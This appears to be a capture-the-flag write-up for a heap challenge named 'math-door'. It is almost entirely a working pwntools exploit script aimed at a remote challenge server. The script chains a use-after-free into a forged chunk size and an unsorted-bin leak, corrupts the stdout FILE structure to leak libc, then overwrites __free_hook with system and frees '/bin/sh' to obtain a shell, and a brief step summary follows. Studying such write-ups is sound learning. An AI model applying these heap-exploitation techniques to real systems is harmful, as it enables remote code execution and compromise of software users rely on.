Tags: heap unsorted_bin
Rating:
```python
import pwn
import time
from IPython import embed
import warnings
warnings.filterwarnings(action='ignore', category=BytesWarning)
elf = pwn.ELF("./math-door")
libc = elf.libc
# p = elf.process()
p= pwn.remote("68.183.45.143", "31441")
pwn.context.binary = elf
pwn.context.log_level = "DEBUG"
pwn.context(terminal=['tmux', 'split-window', '-h'])
def create():
p.sendlineafter("Action:", "1")
p.recvuntil("created with index ")
return int(p.recvuntil(".").strip(b"."))
def delete(i):
p.sendlineafter("Action:", "2")
p.sendlineafter("index:", str(i))
def add(i, v0, v1=0, v2=0):
p.sendlineafter("Action:", "3")
p.sendlineafter("index:", str(i))
p.sendlineafter("glyph:", pwn.p64(v0) + pwn.p64(v1) + pwn.p64(v2))
def add_raw(i, v0):
p.sendlineafter("Action:", "3")
p.sendlineafter("index:", str(i))
p.sendlineafter("glyph:", v0)
# Step 1: Use the UAF to create a mis-aligned chunk
create()
create()
create()
delete(0)
delete(1)
# Edit the tcache_bin chunk to point to the size field of chunk_2
add(1, 0x30, 0, 0)
create()
libc_pointer_chunk_4 = create()
# Edit Size (512)
add(libc_pointer_chunk_4, 0, 0x501, 0)
# The unsorted chunk needs to point somewhere valid, so add some chunks
for i in range(0x500 // 0x20):
print(i)
create()
create()
# Free the large chunk into unsorted bin, libc leak
delete(2)
# Step 2: Overwrite the stdout flags
delete(6)
delete(7)
delete(8)
add(8, pwn.unsigned(-0x60), 0, 0)
# p/x &_IO_2_1_stdout_.file._flags
add(libc_pointer_chunk_4, 0, 0, 2752) # Move from libc arena to stdout.file.flags
create()
create()
file_flags_chunk_id = create()
print(f"{file_flags_chunk_id=}")
# _flags = 0xfbad0000 // Magic number
# _flags & = ~_IO_NO_WRITES // _flags = 0xfbad0000
# _flags | = _IO_CURRENTLY_PUTTING // _flags = 0xfbad0800
# _flags | = _IO_IS_APPENDING // _flags = 0xfbad1800
# https://teamrocketist.github.io/2020/03/01/Pwn-Aero-2020-Plane-Market/
add(file_flags_chunk_id, pwn.unsigned(0xFBAD1800 - 0xFBAD2887), 0, 0)
# Step 3: Move the stdout write_base back by a few 100 bytes
delete(10)
delete(11)
delete(12)
add(12, pwn.unsigned(-0xE0), 0, 0)
# p &_IO_2_1_stdout_.file._IO_write_base
# p &_IO_2_1_stdout_.file._flags
add(libc_pointer_chunk_4, 0, 0, 0x10) # ._flags -> _IO_write_base - 0x10
create()
create()
io_write_base_chunk_id = create()
add(io_write_base_chunk_id, 0, 0, pwn.unsigned(-0x20))
# Get Leak
p.recv(5)
libc_leak = pwn.u64(p.recv(8))
print(f"{hex(libc_leak)=}")
libc.address = libc_leak - (0x7F7A5F095980 - 0x7F7A5EEA9000)
# pwn.gdb.attach(p)
# __free_hook
delete(20)
delete(21)
delete(22)
add(22, pwn.unsigned(-0x220), 0, 0)
add(libc_pointer_chunk_4, 0, 0, 0x1798) # &_IO_2_1_stdout_.file._IO_write_base to __free_hook
create()
create()
free_hook_chunk_id = create()
print(f"{free_hook_chunk_id=}")
# Step 4: __free_hook with system, call free with "/bin/sh"
add(free_hook_chunk_id, libc.sym.system, 0, 0)
add_raw(30, b"/bin/sh\x00")
delete(30)
p.interactive()
```
tl;drl;
1.) Abuse the UAF to overwrite the size of another chunk
2.) Free a large chunk to get a unsorted bin leak
3.) Use the new libc pointers to overwrite stdout.flags + stdout.write_buffer to leak libc
4.) Write system to free hook for profit
For full details, see video writeup
[https://www.youtube.com/watch?v=Pp0QR6MFZeQ](https://www.youtube.com/watch?v=Pp0QR6MFZeQ)